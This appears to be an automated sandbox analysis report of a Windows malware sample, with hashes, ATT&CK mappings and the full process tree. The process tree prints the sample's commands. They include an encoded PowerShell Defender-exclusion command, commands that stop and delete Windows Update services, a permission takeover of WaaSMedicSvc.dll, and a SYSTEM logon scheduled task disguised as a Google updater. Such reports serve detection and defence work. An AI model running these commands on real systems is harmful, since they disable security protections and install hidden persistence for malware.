e47252c61865cc671c7dc0a14ded408544775381a4769f35d31d364afda410f2

General

Target

e47252c61865cc671c7dc0a14ded408544775381a4769f35d31d364afda410f2.exe
Size

5.3MB
MD5

52fdd7f3ed1b50bc5794983a37cb4064
SHA1

4a185751e9e94dccb3330ca79f893de7ca080482
SHA256

e47252c61865cc671c7dc0a14ded408544775381a4769f35d31d364afda410f2
SHA512

4f8c70f866320cdd3a38beb9fdd2820840171677e0e1ad993c05dbe5c64b5b919d2455c01ce619b96d6cdeabf703299301bd766e3c6860b44a7b19fe67db028f

Score

10^/10

discovery evasion exploit

Malware Config

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security	reg.exe

Possible privilege escalation attempt 2 IoCs
exploit

Processes:

icacls.exetakeown.exe

pid process

1532 icacls.exe
684 takeown.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Modifies file permissions 1 TTPs 2 IoCs
discovery

File Permissions Modification
T1222

Processes:

takeown.exeicacls.exe

pid process

684 takeown.exe
1532 icacls.exe

pid	process
1532	icacls.exe
684	takeown.exe

pid	process
684	takeown.exe
1532	icacls.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Program Files directory 2 IoCs

Processes:

conhost.exe

description	ioc	process
File created	C:\Program Files\Windows\services.exe	conhost.exe
File opened for modification	C:\Program Files\Windows\services.exe	conhost.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1744 schtasks.exe
Modifies registry key 1 TTPs 9 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

pid process

1932 reg.exe
272 reg.exe
1468 reg.exe
1936 reg.exe
1916 reg.exe
1492 reg.exe
1244 reg.exe
2032 reg.exe
1992 reg.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.execonhost.exe

pid process

1756 powershell.exe
2008 conhost.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exetakeown.execonhost.exe

description pid process

Token: SeDebugPrivilege 1756 powershell.exe
Token: SeTakeOwnershipPrivilege 684 takeown.exe
Token: SeDebugPrivilege 2008 conhost.exe

pid	process
1744	schtasks.exe

pid	process
1932	reg.exe
272	reg.exe
1468	reg.exe
1936	reg.exe
1916	reg.exe
1492	reg.exe
1244	reg.exe
2032	reg.exe
1992	reg.exe

pid	process
1756	powershell.exe
2008	conhost.exe

description	pid	process
Token: SeDebugPrivilege	1756	powershell.exe
Token: SeTakeOwnershipPrivilege	684	takeown.exe
Token: SeDebugPrivilege	2008	conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

e47252c61865cc671c7dc0a14ded408544775381a4769f35d31d364afda410f2.execonhost.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 1972 wrote to memory of 2008	1972	e47252c61865cc671c7dc0a14ded408544775381a4769f35d31d364afda410f2.exe	conhost.exe
PID 1972 wrote to memory of 2008	1972	e47252c61865cc671c7dc0a14ded408544775381a4769f35d31d364afda410f2.exe	conhost.exe
PID 1972 wrote to memory of 2008	1972	e47252c61865cc671c7dc0a14ded408544775381a4769f35d31d364afda410f2.exe	conhost.exe
PID 1972 wrote to memory of 2008	1972	e47252c61865cc671c7dc0a14ded408544775381a4769f35d31d364afda410f2.exe	conhost.exe
PID 2008 wrote to memory of 1140	2008	conhost.exe	cmd.exe
PID 2008 wrote to memory of 1140	2008	conhost.exe	cmd.exe
PID 2008 wrote to memory of 1140	2008	conhost.exe	cmd.exe
PID 1140 wrote to memory of 1756	1140	cmd.exe	powershell.exe
PID 1140 wrote to memory of 1756	1140	cmd.exe	powershell.exe
PID 1140 wrote to memory of 1756	1140	cmd.exe	powershell.exe
PID 2008 wrote to memory of 844	2008	conhost.exe	cmd.exe
PID 2008 wrote to memory of 844	2008	conhost.exe	cmd.exe
PID 2008 wrote to memory of 844	2008	conhost.exe	cmd.exe
PID 844 wrote to memory of 1656	844	cmd.exe	sc.exe
PID 844 wrote to memory of 1656	844	cmd.exe	sc.exe
PID 844 wrote to memory of 1656	844	cmd.exe	sc.exe
PID 844 wrote to memory of 1716	844	cmd.exe	sc.exe
PID 844 wrote to memory of 1716	844	cmd.exe	sc.exe
PID 844 wrote to memory of 1716	844	cmd.exe	sc.exe
PID 844 wrote to memory of 1308	844	cmd.exe	sc.exe
PID 844 wrote to memory of 1308	844	cmd.exe	sc.exe
PID 844 wrote to memory of 1308	844	cmd.exe	sc.exe
PID 844 wrote to memory of 1048	844	cmd.exe	sc.exe
PID 844 wrote to memory of 1048	844	cmd.exe	sc.exe
PID 844 wrote to memory of 1048	844	cmd.exe	sc.exe
PID 844 wrote to memory of 812	844	cmd.exe	sc.exe
PID 844 wrote to memory of 812	844	cmd.exe	sc.exe
PID 844 wrote to memory of 812	844	cmd.exe	sc.exe
PID 844 wrote to memory of 1244	844	cmd.exe	reg.exe
PID 844 wrote to memory of 1244	844	cmd.exe	reg.exe
PID 844 wrote to memory of 1244	844	cmd.exe	reg.exe
PID 844 wrote to memory of 1468	844	cmd.exe	reg.exe
PID 844 wrote to memory of 1468	844	cmd.exe	reg.exe
PID 844 wrote to memory of 1468	844	cmd.exe	reg.exe
PID 844 wrote to memory of 1936	844	cmd.exe	reg.exe
PID 844 wrote to memory of 1936	844	cmd.exe	reg.exe
PID 844 wrote to memory of 1936	844	cmd.exe	reg.exe
PID 844 wrote to memory of 1916	844	cmd.exe	reg.exe
PID 844 wrote to memory of 1916	844	cmd.exe	reg.exe
PID 844 wrote to memory of 1916	844	cmd.exe	reg.exe
PID 844 wrote to memory of 2032	844	cmd.exe	reg.exe
PID 844 wrote to memory of 2032	844	cmd.exe	reg.exe
PID 844 wrote to memory of 2032	844	cmd.exe	reg.exe
PID 844 wrote to memory of 684	844	cmd.exe	takeown.exe
PID 844 wrote to memory of 684	844	cmd.exe	takeown.exe
PID 844 wrote to memory of 684	844	cmd.exe	takeown.exe
PID 844 wrote to memory of 1532	844	cmd.exe	icacls.exe
PID 844 wrote to memory of 1532	844	cmd.exe	icacls.exe
PID 844 wrote to memory of 1532	844	cmd.exe	icacls.exe
PID 2008 wrote to memory of 532	2008	conhost.exe	cmd.exe
PID 2008 wrote to memory of 532	2008	conhost.exe	cmd.exe
PID 2008 wrote to memory of 532	2008	conhost.exe	cmd.exe
PID 532 wrote to memory of 1744	532	cmd.exe	schtasks.exe
PID 532 wrote to memory of 1744	532	cmd.exe	schtasks.exe
PID 532 wrote to memory of 1744	532	cmd.exe	schtasks.exe
PID 2008 wrote to memory of 1960	2008	conhost.exe	cmd.exe
PID 2008 wrote to memory of 1960	2008	conhost.exe	cmd.exe
PID 2008 wrote to memory of 1960	2008	conhost.exe	cmd.exe
PID 1960 wrote to memory of 1640	1960	cmd.exe	schtasks.exe
PID 1960 wrote to memory of 1640	1960	cmd.exe	schtasks.exe
PID 1960 wrote to memory of 1640	1960	cmd.exe	schtasks.exe
PID 844 wrote to memory of 1992	844	cmd.exe	reg.exe
PID 844 wrote to memory of 1992	844	cmd.exe	reg.exe
PID 844 wrote to memory of 1992	844	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\e47252c61865cc671c7dc0a14ded408544775381a4769f35d31d364afda410f2.exe
"C:\Users\Admin\AppData\Local\Temp\e47252c61865cc671c7dc0a14ded408544775381a4769f35d31d364afda410f2.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1972

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\e47252c61865cc671c7dc0a14ded408544775381a4769f35d31d364afda410f2.exe"
2⤵
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2008

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAGIAYgB2ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAZABsAGgAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAawB3AGsAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAdAB0AGYAYQAjAD4A"
3⤵
- Suspicious use of WriteProcessMemory
PID:1140

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -EncodedCommand "PAAjAGIAYgB2ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAZABsAGgAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAawB3AGsAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAdAB0AGYAYQAjAD4A"
4⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1756

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
3⤵
- Suspicious use of WriteProcessMemory
PID:844

C:\Windows\system32\sc.exe
sc stop UsoSvc
4⤵
PID:1656

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
4⤵
PID:1716

C:\Windows\system32\sc.exe
sc stop wuauserv
4⤵
PID:1308

C:\Windows\system32\sc.exe
sc stop bits
4⤵
PID:1048

C:\Windows\system32\sc.exe
sc stop dosvc
4⤵
PID:812

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
4⤵
- Modifies registry key
PID:1244

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
4⤵
- Modifies registry key
PID:1468

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
4⤵
- Modifies security service
- Modifies registry key
PID:1936

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
4⤵
- Modifies registry key
PID:1916

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
4⤵
- Modifies registry key
PID:2032

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:684

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1532

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1992

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1492

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1932

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:272

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
4⤵
PID:1596

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
4⤵
PID:1416

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
4⤵
PID:1496

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
4⤵
PID:560

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
4⤵
PID:1300

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
4⤵
PID:1176

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
4⤵
PID:1448

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "C:\Program Files\Windows\services.exe"
3⤵
- Suspicious use of WriteProcessMemory
PID:532

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "C:\Program Files\Windows\services.exe"
4⤵
- Creates scheduled task(s)
PID:1744

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c schtasks /run /tn "GoogleUpdateTaskMachineQC"
3⤵
- Suspicious use of WriteProcessMemory
PID:1960

C:\Windows\system32\schtasks.exe
schtasks /run /tn "GoogleUpdateTaskMachineQC"
4⤵
PID:1640

C:\Windows\system32\taskeng.exe
taskeng.exe {1A690561-9BF5-4270-B2FB-C1DB3F492D8C} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1668

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

2

T1031

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

2

T1112

Impair Defenses

1

T1562

File Permissions Modification

1

T1222

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Service Stop

1

T1489

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Downloads

memory/272-87-0x0000000000000000-mapping.dmp

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memory/532-80-0x0000000000000000-mapping.dmp

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memory/560-91-0x0000000000000000-mapping.dmp

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memory/684-78-0x0000000000000000-mapping.dmp

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memory/812-72-0x0000000000000000-mapping.dmp

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memory/844-67-0x0000000000000000-mapping.dmp

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memory/1048-71-0x0000000000000000-mapping.dmp

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memory/1140-59-0x0000000000000000-mapping.dmp

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memory/1176-93-0x0000000000000000-mapping.dmp

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memory/1244-73-0x0000000000000000-mapping.dmp

Download
memory/1300-92-0x0000000000000000-mapping.dmp

Download
memory/1308-70-0x0000000000000000-mapping.dmp

Download
memory/1416-89-0x0000000000000000-mapping.dmp

Download
memory/1448-94-0x0000000000000000-mapping.dmp

Download
memory/1468-74-0x0000000000000000-mapping.dmp

Download
memory/1492-85-0x0000000000000000-mapping.dmp

Download
memory/1496-90-0x0000000000000000-mapping.dmp

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memory/1532-79-0x0000000000000000-mapping.dmp

Download
memory/1596-88-0x0000000000000000-mapping.dmp

Download
memory/1640-83-0x0000000000000000-mapping.dmp

Download
memory/1656-68-0x0000000000000000-mapping.dmp

Download
memory/1716-69-0x0000000000000000-mapping.dmp

Download
memory/1744-81-0x0000000000000000-mapping.dmp

Download
memory/1756-60-0x0000000000000000-mapping.dmp

Download
memory/1756-64-0x000000001B790000-0x000000001BA8F000-memory.dmp

Filesize
3.0MB

Download
memory/1756-63-0x000007FEEE780000-0x000007FEEF2DD000-memory.dmp

Filesize
11.4MB

Download
memory/1756-66-0x000000000238B000-0x00000000023AA000-memory.dmp

Filesize
124KB

Download
memory/1756-65-0x0000000002384000-0x0000000002387000-memory.dmp

Filesize
12KB

Download
memory/1916-76-0x0000000000000000-mapping.dmp

Download
memory/1932-86-0x0000000000000000-mapping.dmp

Download
memory/1936-75-0x0000000000000000-mapping.dmp

Download
memory/1960-82-0x0000000000000000-mapping.dmp

Download
memory/1972-54-0x0000000000400000-0x0000000000C91000-memory.dmp

Filesize
8.6MB

Download
memory/1992-84-0x0000000000000000-mapping.dmp

Download
memory/2008-58-0x000007FEFC3A1000-0x000007FEFC3A3000-memory.dmp

Filesize
8KB

Download
memory/2008-57-0x000000001B220000-0x000000001B3FC000-memory.dmp

Filesize
1.9MB

Download
memory/2008-56-0x00000000000E0000-0x00000000002BD000-memory.dmp

Filesize
1.9MB

Download
memory/2032-77-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads